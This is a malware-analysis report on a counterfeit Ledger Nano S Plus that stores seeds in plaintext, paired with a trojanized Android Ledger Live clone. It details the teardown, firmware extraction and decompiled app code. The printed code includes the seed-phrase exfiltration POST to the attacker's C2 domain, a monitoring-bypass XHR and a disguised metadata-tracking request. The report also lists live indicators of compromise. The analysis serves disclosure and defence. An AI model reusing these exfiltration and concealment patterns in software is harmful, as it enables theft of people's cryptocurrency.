Supply Chain Attack Analysis: Counterfeit Ledger Nano S Plus with ESP32-S3 Implant
This document presents the complete technical analysis of a counterfeit Ledger Nano S Plus cryptocurrency hardware wallet obtained from a Chinese online marketplace. Internally, the device employs an Espressif ESP32-S3 general-purpose microcontroller in place of the genuine product's secure element (ST33J2M0) and microcontroller (STM32WB55), with chip markings physically removed to obscure identification. The counterfeit firmware stores the user's recovery mnemonic and PIN in plain text within the NVS flash partition, injects the secret material into the standard getVersion Application Protocol Data Unit (APDU) response, and operates in coordination with a trojanized Android application that parses, encrypts (RSA-2048), and exfiltrates the data to three distinct command-and-control (C2) servers.
The attack requires no anomalous network traffic from the hardware device itself: all communication travels through the standard USB/Bluetooth Low Energy (BLE) channel that the user already employs to pair the device with the companion mobile application. The complete C2 configuration (URL, RSA public key, campaign identifier) is delivered at runtime from the implanted firmware to the application, defeating static analysis of the mobile artifact in isolation.
The operation spans five confirmed distribution vectors - hardware, Android APK, Windows installer, macOS installer, and iOS via TestFlight - though the technical analysis contained in this report focuses exclusively on the Android APK, which was the artifact obtained and reverse-engineered by the research team. Public reporting has attributed US$ 9.5M+ in cryptocurrency losses across 50+ confirmed victims, with 20 blockchain ecosystems affected.
Attribution evidence is consistent with Chinese origin and includes a Shanghai-registered shell company acting as fulfillment layer, linguistic artifacts in the Metro bundle ("词语类型", comments in simplified Chinese), infrastructure hosted on Alibaba Cloud Hong Kong with Chinese DNS providers and Baidu Analytics identifiers, and co-hosting on the same /24 subnet as Chinese illegal-gambling operations.
The report consolidates 194,647 bytecode functions analyzed, 35+ malicious components decompiled and documented, 685 MB of Hermes disassembly output, and the full list of Indicators of Compromise suitable for ingestion into defensive pipelines.
Table of Contents
- Executive Summary
- Background
- Acquisition and Initial Analysis
- Hardware Teardown
- Firmware Analysis
- Malicious Application Analysis - Android APK
- Additional Attack Vectors (Out of Scope for This Analysis)
- Infrastructure Analysis
- Attribution and Criminal Network
- Attacker Forensic Evidence
- Indicators of Compromise
- Impact Assessment
- Investigation Timeline
- Complete Attack Flow Diagram
- Remediation and Recommendations
- Responsible Disclosure
- About High Code Security Research
- References
1. Executive Summary
1.1 Case Overview
A counterfeit unit visually indistinguishable from a Ledger Nano S Plus was obtained from JD.com, a mainland-Chinese e-commerce marketplace, as part of an ongoing High Code research effort on hardware supply-chain integrity. The unit failed the official ledger.com Genuine Check on first pairing with Ledger Live. A physical teardown revealed a substitution of the Ledger-specified secure element and microcontroller with a single Espressif ESP32-S3 general-purpose MCU, with chip markings mechanically removed. Flash memory extraction recovered two 24-word mnemonic seeds and a six-digit PIN stored in plain text. Reverse engineering of the companion Android application (com.ledger.live, v3.99.1) identified a six-phase attack chain culminating in RSA-encrypted exfiltration of the victim's recovery phrase to attacker-controlled infrastructure.
1.2 Key Findings
- Hardware: Generic ESP32-S3 replacing the genuine Ledger's certified Secure Element (ST33J2M0). The ESP32-S3 ships with its own hardware-security primitives (flash encryption, secure boot v2, HMAC / digital-signature peripherals, eFuse-based key storage), but the counterfeit firmware leaves all of them disabled - every secret sits in plain text in NVS flash.
- Firmware: Extends the standard
GET_VERSIONAPDU response with eight hidden TLV-encoded fields including the victim's seed phrase, the RSA public key, and the exfiltration URL. - Android APK: Signed with an Android debug certificate (
android@android.com), not the Ledger SAS production certificate. Receives the injected fields via standard USB/BLE, encrypts the seed with RSA-2048, and posts tokkkhhhnnn.com. - C2 Infrastructure: Three active servers -
kkkhhhnnn.com(hardware C2, Cloudflare-fronted),s6s7smdxyzbsd7d7nsrx.icu(APK C2 #1, Alibaba Cloud Hong Kong),www.ysknfr.cn(APK C2 #2, co-hosted with a Chinese gambling network). - Attribution: Fifteen independent indicators consistent with Chinese origin, including Simplified Chinese comments in the compiled bytecode, Shanghai-based fulfillment entity, and Baidu Analytics identifiers shared across infrastructure.
- Scale: Public reporting confirms US$ 9.5M+ in losses across 50+ victims spanning 20 blockchain ecosystems, via five distribution vectors (hardware, Android, Windows, macOS, iOS/TestFlight). This report analyzes only the hardware and Android vectors.
1.3 Severity Classification
Confirmed Criminal Operation - Critical Risk. The research team assesses this to be the most technically complete counterfeit Ledger case documented to date, with evidence of scaled production (PCB fabrication at commercial grade, firmware supporting 20 blockchains and 8 user-interface languages), multi-platform distribution, active maintenance (infrastructure updated eleven days before the analysis was conducted), and monetization linked to illegal gambling operations.
2. Background
2.1 Hardware Wallets and Threat Model
Cryptocurrency hardware wallets are single-purpose devices that generate and store the private keys associated with a user's blockchain addresses in a hardware-isolated secure element. Their security model rests on two assumptions: (i) the secret material never leaves the device in plain form, and (ii) the device itself is authentic and has not been tampered with between manufacture and first use. A compromise of the second assumption - the supply chain - reduces the first assumption to a polite fiction.
2.2 Supply Chain Attacks Against Hardware Wallets
Counterfeit Ledger devices are not novel. Previous cases have typically involved: resale of used or initialized devices; devices shipped with pre-generated seeds that the attacker retains; or visually similar units built on public reference designs but lacking secure element isolation. What distinguishes the case documented in this report is the completeness of the counterfeit system: a custom PCB with scraped markings, a firmware that impersonates the legitimate USB HID descriptor, a React Native companion application that mimics Ledger Live at the bundle level, and a three-tier C2 infrastructure with operational security hygiene suggesting an active, maintained development effort rather than a one-off fraud.
2.3 Why Chinese Marketplaces Matter
Mainland-Chinese marketplaces (JD.com, Taobao, AliExpress) are a recurrent distribution vector for counterfeit electronics, in part because of the density of manufacturing capacity in the Pearl River Delta and the relative difficulty of exporting enforcement action across jurisdictions. Ledger does not sell through JD.com. Any unit listed on that platform is, by definition, outside the sanctioned supply chain.
2.4 Significance
The unit analyzed here is, to the research team's knowledge, the most complete publicly-documented counterfeit hardware wallet system: it maps the full operation from PCB fabrication through mobile application implant to C2 infrastructure and linked monetization network. Prior cases have typically documented only one or two of these layers.
3. Acquisition and Initial Analysis
3.1 Sample Provenance

Retail packaging of the counterfeit unit, visually indistinguishable from a genuine Ledger Nano S Plus box.
| Field | Value |
|---|---|
| Sample source | Counterfeit Ledger Nano S Plus |
| Marketplace | JD.com (mainland-Chinese e-commerce platform) |
| Seller | Ledger亚太经营店 (Ledger Asia-Pacific Store) |
| Purchase date | 2026-03-18 |
| Listed price | ¥499 - identical to the official Ledger retail price |
| Acquirer | Vinícius Pinheiro, Founder, High Code Security Research |
| Packaging | Visually indistinguishable from genuine retail packaging (box, seals, printed material, USB cable, QR code on the "Comece Aqui" insert) |
| Sample condition | Sealed, appearing unused |
3.2 First Contact - Genuine Check Failure
On 2026-03-19, the device was connected via USB to a clean Windows workstation running a verified installation of the official Ledger Live desktop application (downloaded directly from https://www.ledger.com). The device presented itself as a Nano S+ via USB HID. Upon invoking the Genuine Check routine - the cryptographic attestation procedure by which Ledger Live validates that a connected device holds a Ledger SAS-signed secure element certificate - the check failed.
A legitimate Nano S Plus passes Genuine Check on every pairing. Failure on an apparently new, sealed, retail-packaged device is the primary indicator of either tampering in transit or counterfeiting at the fabrication level.

Ledger Live surfaces the first Genuine Check rejection as an "invalid provider" warning when handshaking with the counterfeit firmware.

A second Ledger Live error: the secure-element flags payload returned by the device fails the envelope-length validation expected from a genuine unit.
3.3 Decision to Conduct Teardown
Given the Genuine Check failure on a retail-packaged unit from a marketplace outside Ledger's sanctioned supply chain, the research team elected to proceed with physical teardown and firmware extraction to determine the nature of the substitution.
3.4 Test Wallets Generated on the Counterfeit
Before opening the case, two test wallets were created on the device - PIN and two 24-word BIP39 mnemonics. The counterfeit firmware reuses open-source cryptocurrency libraries originally published by Trezor to generate mnemonics and derive addresses, so the wallet UX appears to function correctly across the 20 advertised blockchains. Seeding the device with known test material before flash extraction meant the recovered plaintext mnemonics could be compared byte-for-byte against what had been typed in (see §4.5).
3.5 Ruled-Out Hypotheses
After the flash dump was complete but before the distribution vector was understood, two natural exfiltration hypotheses were tested and eliminated:
| Hypothesis | Why it was tested | Why it was ruled out |
|---|---|---|
| Wi-Fi exfiltration. The PCB carries a visible 2.4 GHz Wi-Fi / BLE antenna and the ESP32-S3 has Wi-Fi natively - the natural first guess was that the device connects to an attacker access point and uploads stolen data. | Air-gapped hardware wallets do not ship with radio silicon; finding a radio here was the first physical red flag. | Firmware inspection found no WiFi.begin(), no SSID string, no socket API calls, no AP configuration anywhere. The antenna is physically present but the shipped code never drives it. |
| Bad USB / HID injection. A counterfeit hardware wallet that poses as a USB HID keyboard and injects keystrokes into the host after pairing would let the attacker execute arbitrary commands on the victim's machine. | This class of attack is well-documented against pentesting drops and rogue cables. | USB descriptors are the standard HID set expected of a legitimate Ledger. No keyboard emulation, no payload script, no Bad USB behaviour. |
Both hypotheses dead-ended. The actual distribution vector only became clear once the contents of the retail packaging were examined in detail - see §3.6.
3.6 The Actual Distribution Vector - QR Code on the "Start Here" Leaflet

The printed instruction leaflet bundled with the counterfeit carries a QR code that does not resolve to ledger.com.
The printed insert inside the counterfeit packaging carries a QR code on the "Comece Aqui" / "Start Here" instruction leaflet. The QR code does not resolve to ledger.com - it resolves to a cloned download site that serves fake Ledger Live installers across five platforms: Android (APK), Windows, macOS, and iOS via Apple TestFlight. The counterfeit hardware is the prop that sells the fraud; the companion application obtained through that QR code is where the seed phrase is exfiltrated.

The landing page reached by the QR code - a Tencent CloudBase clone offering Android, Windows, macOS, and iOS TestFlight builds of "Ledger Live".
The technical analysis that follows (§4 through §6) documents both sides of this dual layout: the hardware implant and the Android companion. The hardware stores seeds in plaintext flash (§4.5) and can inject them into the APDU protocol (§6.6) when connected to the counterfeit app; the app (§6) accepts those injected fields, encrypts them, and posts them to attacker infrastructure (§8). The primary channel by which victim seeds actually reach the adversary is the trojanized companion application, not anomalous radio traffic from the device itself.
4. Hardware Teardown
4.1 External Examination

Counterfeit (left) and genuine (right) Nano S Plus: case geometry, buttons, USB-C placement, and OLED cutout are indistinguishable.
The external casing, button geometry, USB-C receptacle, and OLED display form factor were indistinguishable from a genuine Nano S Plus under visual inspection. The printed copyright text reads (c) 2024 Ledger / (c) 2025 Ledger, matching the format used on recent genuine units.
4.2 Hardware Identification

USB descriptors reported by the counterfeit firmware spoof the genuine Ledger SAS vendor ID, product ID, and serial strings.
| Field | Value |
|---|---|
| External appearance | Identical to Ledger Nano S Plus |
| Actual MCU | ESP32-S3 (Tensilica Xtensa LX7, dual-core, 240 MHz) |
| MCU specified by Ledger | STM32WB55 + Secure Element ST33J2M0 |
| Main chip markings | Physically removed (scraped) |
| Crystal oscillator | YXC 40.000 545PA (40 MHz, Yangxing Tech, Shenzhen) |
| Flash | 4 MB (NVS 20 KB + app0 3.1 MB + app1 3.1 MB + SPIFFS 1 MB) |
| USB | Type-C / USB HID via TinyUSB (emulates genuine Ledger descriptor) |
| Buttons | 2 (S2, S5) - matching the Nano S Plus layout |
| Build toolchain | PlatformIO + Arduino-ESP32 (path artifact: /Users/mac/.platformio/) |
hw_version |
Ledger Nano s+ V2.1 |
fw_version |
1.0.0 / Build 20251016 |
| Serial number (test unit) | 72654036432549 |
| Advertised languages | EN, ZH, JA, KO, FR, DE, ES, RU |
| Advertised cryptocurrencies | 20 chains (see §4.5) |
4.3 PCB Analysis

Device fully disassembled - both case halves and the bare PCB.
The counterfeit PCB is a green double-layer board. The USB-C receptacle (reference designator J26) is populated on the top side, with a visible YXC 40 MHz crystal and the primary MCU (scraped ESP32-S3) centrally located. Additional components include the SPI display connector (J3), two tactile switches (S2, S5) for user input, two test points (TP1, TP2), and fifteen SMD resistors and twenty-seven ceramic capacitors in supporting roles. The fabrication quality is consistent with a commercial-grade run rather than a one-off prototype, indicating production at scale.

PCB top side - the primary MCU (center), tactile switches, and surrounding passive components.

PCB bottom side - USB-C connector, 40 MHz crystal, flash IC, and test pads.

Same side with the SPI ribbon cable still attached to the OLED display module - an off-the-shelf panel, not a Ledger-specified assembly.

The PCB carries a serpentine Wi-Fi / BLE trace antenna - a red flag: a genuine air-gapped Ledger Nano S Plus ships with no radio silicon whatsoever.

Crystal oscillator marked 40.000 545PA YXC - Yangxing Tech, Shenzhen. Standard ESP32-S3 reference-design frequency.
4.4 Chip Identification - ESP32-S3 Under Scraped Markings

Both the main MCU and the IC occupying the "secure element" footprint have their top-side laser markings mechanically removed - a matte abraded finish inconsistent with factory packaging.
The main MCU on the counterfeit board has its silkscreen markings physically removed, producing a matte abraded finish inconsistent with factory packaging. Despite the surface modification, package geometry, pin count, and bootloader behavior (see §5.1) are consistent with the Espressif ESP32-S3 datasheet. The ESP32-S3 is a general-purpose IoT microcontroller with integrated 2.4 GHz Wi-Fi and BLE 5.0. It ships with several hardware-security primitives of its own (flash encryption, secure boot v2, HMAC and digital-signature peripherals, eFuse-based key storage), but it is not a certified Secure Element in the Common Criteria sense - it is a general-purpose SoC whose security features are optional, configurable by firmware, and in this counterfeit build left entirely disabled.

Direct overlay of the scraped chip against the Espressif ESP32-S3 datasheet - package geometry and pinout match the QFN-56 reference package.
Note: The genuine Ledger Nano S Plus uses a Common Criteria EAL5+ certified Secure Element (ST33J2M0) paired with a separate application MCU (STM32WB55). Replacing that split-MCU architecture with a single general-purpose SoC removes every hardware-enforced, externally-attested security property the original product advertises - regardless of which optional security features the ESP32-S3 would be capable of providing if they had been enabled.
4.5 Hardware Flash Dump and Extracted Material

Forcing the MCU into ROM download mode: bridging the EN and GPIO0 test pads enables esptool.py to read the full 4 MB flash over UART.
Flash contents were extracted via the ESP32-S3 boot ROM using esptool.py over the internal UART test points.
| Artifact | Value |
|---|---|
| Dump file | eflash.bin |
| Size | 4.0 MB |
| SHA-256 | 8fdddbaefbc014b4377725290c2e3c69c3ff211d71cfa1d7b8d1c41b764539ba |
Analysis of the NVS (non-volatile storage) partition recovered the following keys in plain text, with no cryptographic protection whatsoever:
| NVS key | Value recovered |
|---|---|
pin_code |
348962 (present at offsets 0x9828 and 0xA408) |
pin_err_cnt |
PIN error counter |
pin_lock_time |
PIN lockout timer |
mnemonic_words |
Two 24-word BIP39 seeds (attacker test seeds - offsets 0x98A8 and 0xA488) |
fw_version |
1.0.0 |
hw_version |
Ledger Nano s+ V2.1 |
serial_num |
72654036432549 |
device_name |
(user-configurable field) |
locked_state |
Lock state |
screen_saver |
Screensaver setting |

NVS partition dump. The six-digit PIN and the two BIP39 mnemonics are recoverable as raw ASCII - no wrapping, no encryption, no derivation. This is the single most damning artifact in the flash.
Finding: Plaintext storage of PIN and mnemonic in NVS flash is the strongest single indicator of counterfeit origin. No commercial hardware wallet stores this material unencrypted.
4.6 Firmware Binary
| Artifact | Value |
|---|---|
| Firmware ELF SHA-256 | 93d2d28f2d46e626172fa592acee84aa5ec7c1076d59e69608ba03abfab4812a |
4.7 Supported Cryptocurrencies (20 chains)
The counterfeit firmware advertises support for the following blockchain ecosystems, matching the subset supported by the genuine Nano S Plus:
| # | Chain | # | Chain | # | Chain | # | Chain |
|---|---|---|---|---|---|---|---|
| 1 | Bitcoin | 6 | Ethereum | 11 | Monero | 16 | Stellar |
| 2 | Bitcoin Cash | 7 | Solana | 12 | Cosmos | 17 | Algorand |
| 3 | Bitcoin Testnet | 8 | Cardano | 13 | Filecoin | 18 | Zcash |
| 4 | Litecoin | 9 | Polkadot | 14 | Aptos | 19 | TON |
| 5 | Dogecoin | 10 | XRP | 15 | Sui | 20 | TRON |
5. Firmware Analysis
5.1 Boot Sequence
On cold boot, the counterfeit firmware prints an ESP-IDF bootloader banner consistent with Espressif Systems' default Arduino-ESP32 build, followed by the application-level identification string Nano S+ 7704. The Espressif origin is observable both in the boot log and in the path artifact /Users/mac/.platformio/ embedded in the compiled ELF, confirming the build toolchain.
5.2 Storage Analysis - PIN and Mnemonics in Plain Text
See §4.5 for the complete NVS key table. The PIN (348962) and two attacker test mnemonics were recovered without any cryptographic handling. A genuine Ledger device - even hypothetically extracted - would yield only encrypted slots, with decryption dependent on the secure element's attestation key.
5.3 Hardware C2 Server
The firmware contains, in plaintext strings, the URL of the primary exfiltration endpoint:
| Field | Value |
|---|---|
| Exfiltration URL | https://kkkhhhnnn.com/api/open/postByTokenpocket |
| CDN | Cloudflare |
| Backend | Java / Spring Boot (Envoy proxy) |
| Status (as of analysis) | ACTIVE - HTTP 500 (API responds) |
| Response body | {"code":"500","msg":"(Chinese)","enMsg":"error","indinMsg":""} |
| Response languages | Chinese (msg) + English (enMsg) + Indonesian (indinMsg) |
| RSA key | 2048-bit public key embedded in firmware, used in the APDU handshake |
The trilingual error response (Chinese / English / Indonesian) is itself an attribution signal (see §9.1).
5.4 Embedded RSA Public Key
A 2048-bit RSA public key is embedded in the firmware image. This key is transmitted to the companion Android application via the extended APDU response (see §6.5) and used to encrypt the victim's seed before exfiltration. The APK additionally carries a hardcoded fallback RSA key (MIIBIjANBgkqhki..., PKCS#8 DER Base64) used if the firmware-provided key fails to parse.
5.5 Firmware-Supplied C2 Configuration
The design choice to deliver the C2 URL, RSA public key, and campaign code from the firmware at runtime (rather than hardcode them into the mobile application) has a specific consequence: static analysis of the APK in isolation reveals no C2 infrastructure. The infrastructure is only observable when the APK is executed with the counterfeit device physically connected. This is a meaningful operational-security improvement over typical hardcoded-C2 malware.
6. Malicious Application Analysis - Android APK
6.1 Artifact Data
| Field | Value |
|---|---|
| Filename | ledapp.apk |
| SHA-256 | 62723c30f17be2e0e59a529b7adc1a7d602a78973b9acc68a5a076eadcbc54f3 |
| Size | 86,494,238 bytes (82 MB) |
| Package name | com.ledger.live (same as the legitimate application) |
| Version string | 3.99.1 (build 36176158) |
| Framework | React Native + Hermes bytecode v96 |
| Signature | Android Debug Certificate - NOT Ledger SAS |
| Certificate serial | 93:6e:ac:be:07:f2:01:df |
| Certificate owner | android@android.com (Android SDK debug key) |
| Sentry Debug ID | 7d5c3676-89c1-4e2e-ba4b-5c2d23ce79b7 |
| Environment | NODE_ENV=production, __DEV__=false |
Finding: Signing with an Android debug certificate (
android@android.com) rather than the official Ledger SAS production certificate is the single most immediate evidence that this APK is not official. Applications published through the Google Play Store are signed with verified corporate certificates whose subject-distinguished-name and public-key fingerprint do not match the Android SDK debug key.
6.2 APK Structure
| Component | Path | Size |
|---|---|---|
| Full APK | ledapp.apk |
82 MB |
| JS Bundle (Hermes) | assets/index.android.bundle |
76 MB |
Disassembly (.hasm) |
hermes_disasm.hasm |
685 MB |
| Java Sources | sources/ |
225 MB |
| Native Libraries | resources/lib/ |
19 MB |
6.3 Hermes Bytecode Structure
| Field | Value |
|---|---|
| Magic bytes | c61fbc03c103191f |
| Hermes version | 96 |
| Build SHA1 | f5b0546e6e5aed0eb7649df47f22b76bda6f269e |
| Total bytecode size | 79,417,060 bytes |
| Total functions | 194,647 |
| Named functions | 114,120 (58.6 %) |
| Anonymous functions | 80,527 (41.4 %) |
| Total strings | 421,609 |
| Disassembly tool | P1sec hermes-dec (hbc-disassembler) |
| Disassembly output size | 685 MB (.hasm) |
Binary layout:
| Section | Start offset | End offset | Size |
|---|---|---|---|
| Header | 0 | 128 | 128 bytes |
| Function Headers | 128 | 1,557,304 | ~1.5 MB |
| String Table | 1,875,540 | 3,561,976 | ~1.6 MB |
| String Storage | 4,992,280 | 29,342,658 | ~24.3 MB |
| Bytecode | 29,342,658 | 79,417,060 | ~50 MB |
BIP39 Wordlist Hardcoded: At line 5,650,752 of the disassembly, an array of 7,776 entries was recovered - the complete BIP39 English wordlist. Embedding the wordlist confirms the malware has first-class capability to operate on mnemonic phrases directly, and is not limited to opportunistic string interception.
6.4 Android Manifest - Permission Audit
| Permission | Risk | Observed / Potential Malicious Use |
|---|---|---|
INTERNET |
Normal | Data exfiltration to C2 |
CAMERA |
Dangerous | Screen or QR-code capture |
RECORD_AUDIO |
Dangerous | Ambient audio recording |
BLUETOOTH_CONNECT |
Dangerous | Communication with counterfeit Ledger hardware |
WRITE_EXTERNAL_STORAGE |
Dangerous | Persistence of exfiltrated material |
WAKE_LOCK |
Normal | Keep exfiltration routine running in background |
USE_FINGERPRINT / USE_BIOMETRIC |
Normal | Social engineering (suggest legitimacy) |
ACCESS_WIFI_STATE |
Normal | Connectivity check before C2 call |
ACCESS_NETWORK_STATE |
Normal | Connectivity check before C2 call |
MODIFY_AUDIO_SETTINGS |
Normal | Unused in observed behavior; likely dead code |
CHANGE_NETWORK_STATE |
Normal | Network-state manipulation |
VIBRATE |
Normal | Haptic feedback (suggest legitimacy) |
The presence of CAMERA and RECORD_AUDIO in a cryptocurrency wallet application has no legitimate functional justification.
6.5 Attack Architecture - Six-Phase Chain
The trojanized Android application executes a six-phase exfiltration chain, plus a secondary metadata channel disguised as a firmware-update API:
- APDU Injection (malicious firmware) - Firmware extends the
getVersionAPDU response with eight TLV-encoded hidden fields including the seed phrase, C2 URL, and RSA public key. - Malicious Field Parsing -
parseGetVersionResponse()(Metro module 2109) extracts the eight extra fields from the APDU buffer and stores them in JavaScript closure slots. - App State Propagation -
getDeviceInfo()logs all fields (including the seed) viammdLog, then invokesverifyDeviceMnemonic(). - Mnemonic Validation and Normalization - Word count validation (12 or 24), cache deduplication, input sanitization.
- RSA Encryption and Exfiltration - Seed encrypted with RSA public key; POST to
kkkhhhnnn.com. Fallback to hardcoded key on parse error. - Local Persistence (cache) - Mnemonic persisted to
AsyncStorageandlocalStorageunder the keyll_mnemonic_verificationsto suppress re-exfiltration.
6.6 Phase 1 - APDU Injection
The legitimate GET_VERSION APDU command ([0xE0, 0x01, 0x00, 0x00], line 711471 of the disassembly) on a genuine Ledger device returns only version fields. The counterfeit firmware extends the response buffer with eight additional TLV-encoded fields, syntactically indistinguishable from the legitimate response to a sequential parser:
| # | Injected field | Purpose |
|---|---|---|
| 1 | localFirmwareVersion |
Local firmware version (camouflage) |
| 2 | localDeviceName |
Device name (exfiltrated as hardCode) |
| 3 | verifyMnemonicBaseUrl |
C2 server URL |
| 4 | verifyMnemonicCode |
Campaign / agent tracking code |
| 5 | verifyMnemonicWallet |
Target wallet identifier |
| 6 | verifyMnemonicCiyuType |
Mnemonic type ('1' = 12 words, '2' = 24 words) |
| 7 | verifyMnemonicRsaPublicKey |
RSA public key used to encrypt the seed |
| 8 | storedMnemonic |
The victim's seed phrase |
Critical finding: The trojanized application does not need any hardcoded C2 URL for the primary channel. The complete C2 configuration (URL, RSA key, campaign codes) is delivered from the device itself, substantially complicating static analysis of the APK in isolation.
6.7 Phase 2 - Malicious Field Parsing
Function parseGetVersionResponse (lines 711507-712188, Metro module 2109) receives the raw APDU response buffer and parses it sequentially, invoking two helpers: readLengthPrefixedBuffer (line 711543) and readExtendedString (line 712032).
// Conditional gate (lines 712062-712068)
if (!((r0 > r19)) { _fun19204_ip = 1538; continue }
// If extra bytes exist, extract all 8 malicious fields:
// Slot 6: verifyMnemonicBaseUrl (C2 URL)
r0 = function(a0) { _closure2_slot6 = a0; return undefined; };
r0 = readExtendedString(r0);
// Slot 10: verifyMnemonicRsaPublicKey
r0 = function(a0) { _closure2_slot10 = a0; return undefined; };
r0 = readExtendedString(r0);
// Slot 11: storedMnemonic - the seed phrase
r0 = function(a0) { _closure2_slot11 = a0; return undefined; };
r0 = readExtendedString(r0);
The returned object includes all legitimate GET_VERSION fields plus the eight malicious ones.
6.8 Phase 3 - App State Propagation
After parseGetVersionResponse returns, getDeviceInfo (lines 610148-610498) receives the object and emits two observable effects:
// Phase 3.1 - logs all details including the seed (lines 610339-610364)
mmdLog('getDeviceInfo resolved firmware details', {
/* ... normal fields ... */
verifyMnemonicBaseUrl: r9,
verifyMnemonicRsaPublicKey: r5,
storedMnemonic: r4 // seed logged in plain text
});
// Phase 3.2 - triggers exfiltration (lines 610446-610459)
r34 = module_2136.verifyDeviceMnemonic;
r3 = {
storedMnemonic: r4,
verifyMnemonicBaseUrl: r9,
verifyMnemonicCode: r8,
verifyMnemonicWallet: r7,
verifyMnemonicCiyuType: r6,
verifyMnemonicRsaPublicKey: r5
};
r34(r3);
6.9 Phase 4 - Mnemonic Validation and Normalization
Function _verifyDeviceMnemonic (lines 718912-719280, Metro module 2136) is an async generator orchestrating validation and exfiltration.
// Normalization
mnemonic = storedMnemonic.trim();
mnemonic = mnemonic.replace(/\s+/g, ' ');
// Word-count validation
words = mnemonic.split(' ');
validWordCounts = new Set([12, 24]);
if (!validWordCounts.has(words.length)) {
mmdLog('device mnemonic verification skipped', {
reason: 'unsupported_word_count'
});
return;
}
Input sanitization functions:
| Function | Lines | Description |
|---|---|---|
sanitizeUrl |
719931-719983 | Validates non-empty string and URL format; aborts with log 'invalid url' if invalid |
sanitizeText |
719904-719929 | Removes potentially dangerous characters from text strings |
normalizeCiyuType |
720008-720023 | Returns '1' (12 words) or '2' (24 words). Ciyu (词语) is Mandarin Chinese for "word / phrase" |
sanitizeRsaPublicKey |
719986-720004 | Unescapes \n and \r literals in the PEM key back to actual newlines |
6.10 Phase 5 - RSA Encryption and Exfiltration
The submitMnemonic function resides in Metro module 9775. Its __d definition was not recovered in the decompilation of ledger_output_file.js, but string analysis of the compiled Hermes bytecode via strings recovered its contents:
strings index.android.bundle | grep -oP '.{0,100}kkkhhhnnn.{0,100}'
Reconstructed behavior of module 9775:
1. Receives payload: { mnemonic, baseUrl, code, wallet, ciyuType, rsaPublicKeyPem, useDefaultKey? }
2. if (useDefaultKey == true):
→ Uses hardcoded RSA key (MIIBIjANBgkqhki...) // FALLBACK
else:
→ Uses rsaPublicKeyPem from firmware
3. Encrypts mnemonic with RSA public key
4. POST https://kkkhhhnnn.com/api/open/postByToken
Body: {
mnemonic: "<RSA_ENCRYPTED_BASE64>",
code: "<CAMPAIGN_CODE>",
wallet: "<WALLET_ID>",
ciyuType: "1" | "2"
}
5. Returns server response
RSA fallback mechanism:
try {
response = await submit();
} catch (error) {
shouldRetry = /ASN\.1|PEM/i.test(error.message); // line 719174
if (shouldRetry) {
mmdLog('device mnemonic verification invalid rsa key');
response = await submitMnemonic({ ...payload, useDefaultKey: true });
}
}
The existence of a hardcoded fallback key guarantees that exfiltration never fails completely even if the firmware-provided key is malformed.
6.11 Phase 6 - Local Persistence (Cache)
// In-memory cache - global variable __ledger_mnemonic_verification_cache__
function getMemoryCache() {
var cache = global.__ledger_mnemonic_verification_cache__;
if (!Array.isArray(cache)) {
cache = [];
global.__ledger_mnemonic_verification_cache__ = cache;
}
return cache;
}
// Persistent cache - AsyncStorage (native) + localStorage (web fallback)
async function readCachedMnemonics() {
try {
data = await asyncStorage.getItem('ll_mnemonic_verifications');
} catch (e) {
data = localStorage.getItem('ll_mnemonic_verifications');
}
return JSON.parse(data).filter(item => typeof item === 'string');
}
async function rememberMnemonic(mnemonic) {
var cached = await readCachedMnemonics();
if (!cached.includes(mnemonic)) {
cached.push(mnemonic);
await persistCachedMnemonics(cached);
}
}
The storage key ll_mnemonic_verifications is chosen to resemble a legitimate Ledger Live verification feature.
6.12 Secondary Channel - Firmware Update API
In addition to the primary submitMnemonic channel, the application exfiltrates device metadata through a secondary channel disguised as a firmware-update query (fetchLatestFirmware, lines 615950-616136):
async function fetchLatestFirmware(deviceInfo) {
var params = {
salt: generateSalt(deviceInfo),
current_se_firmware_final_version: deviceInfo.firmwareId,
device_version: deviceInfo.deviceVersionId,
version_name: deviceInfo.versionName,
provider: deviceInfo.providerId,
agentCode: deviceInfo.agentCode, // = verifyMnemonicCode
hardCode: deviceInfo.localDeviceName,
local_version: deviceInfo.localFirmwareVersion
};
var url = firmwareApiBase + '/get_latest_firmware?' + queryString(params);
return (await axios({ method: 'GET', url })).data;
}
The agentCode field is renamed at lines 700849-700856:
r9 = deviceInfo.verifyMnemonicCode; // malicious field
r5['agentCode'] = r9; // renamed to look legitimate
r9 = deviceInfo.localDeviceName;
r5['hardCode'] = r9;
This channel does not transmit the mnemonic directly - that is handled by the primary channel - but exfiltrates metadata allowing the attacker to track compromised devices, correlate campaigns, and deliver updated malicious firmware as the get_latest_firmware response.
Request destination:
https://s6s7smdxyzbsd7d7nsrx.icu/api/hard/get_latest_firmware
?salt=X
&agentCode=CAMPAIGN_CODE
&hardCode=DEVICE_NAME
&local_version=1.2.3
& ...
6.13 Decompiled Malicious Components (35+)
A catalog of thirty-five-plus malicious bytecode functions was produced. Representative entries follow; the complete list is reproduced at the end of this section.
6.13.1 createStealthXhr - Sentry-bypass invisible XHR
Function #25064, 160 bytes, offset 0x023dc18a. Creates an XMLHttpRequest that bypasses Sentry monitoring via the __sentry_original__ backing property:
function createStealthXhr() {
var XHR = globalThis.XMLHttpRequest;
var xhr = new XHR();
xhr.open = xhr.open.__sentry_original__ || xhr.open;
xhr.send = xhr.send.__sentry_original__ || xhr.send;
return xhr;
}
6.13.2 sendApdu - APDU command interception
Function #84531, 67 bytes. Routes all APDU commands through the XState state machine:
function sendApdu(apduHex, triggersDisconnection, abortTimeout) {
return new Promise(function(resolve) {
context.machineActor.send({
type: 'SendApduCalled',
apdu: apduHex,
triggersDisconnection: !!triggersDisconnection,
abortTimeout: abortTimeout,
responseCallback: resolve
});
});
}
6.13.3 sendApduToDeviceConnection - Attacker typo fingerprint
Function #84523, 76 bytes. Contains the typo deviceAdpuSender (letters d and p transposed) instead of deviceApduSender. The typo is consistent across nine occurrences in two separate Metro modules (lines 3793984 and 6788184), serving as a behavioral fingerprint of the attacker's codebase.
// Line 3793983-3793984 - intentional aliasing with typo:
var sender = context.deviceApduSender; // reads correct name
context.deviceAdpuSender = sender; // writes typo'd name
6.13.4 uploadSendChunk - APDU chunk upload to C2
Function #111724. Sends APDU data chunks via transport with custom instruction byte INS 0x93. Injected into the legitimate Ledger firmware-update module alongside genuine functions such as sign, signRaw, getAllowlistPubKey, uploadAllowlist, serializePath.
async function* uploadSendChunk(transport, chunkType, data) {
var response = yield transport.send(
transport.cla, 0x93, 0, data, [0x9000]
).then(processErrorResponse);
}
6.13.5 pack_data - Exfiltration to tertiary C2
Function #127265 / #127266. Builds a URL disguised as a blockchain call and POSTs stolen data:
async function* packDataExfil() {
var url = this.createURL(
this.chain,
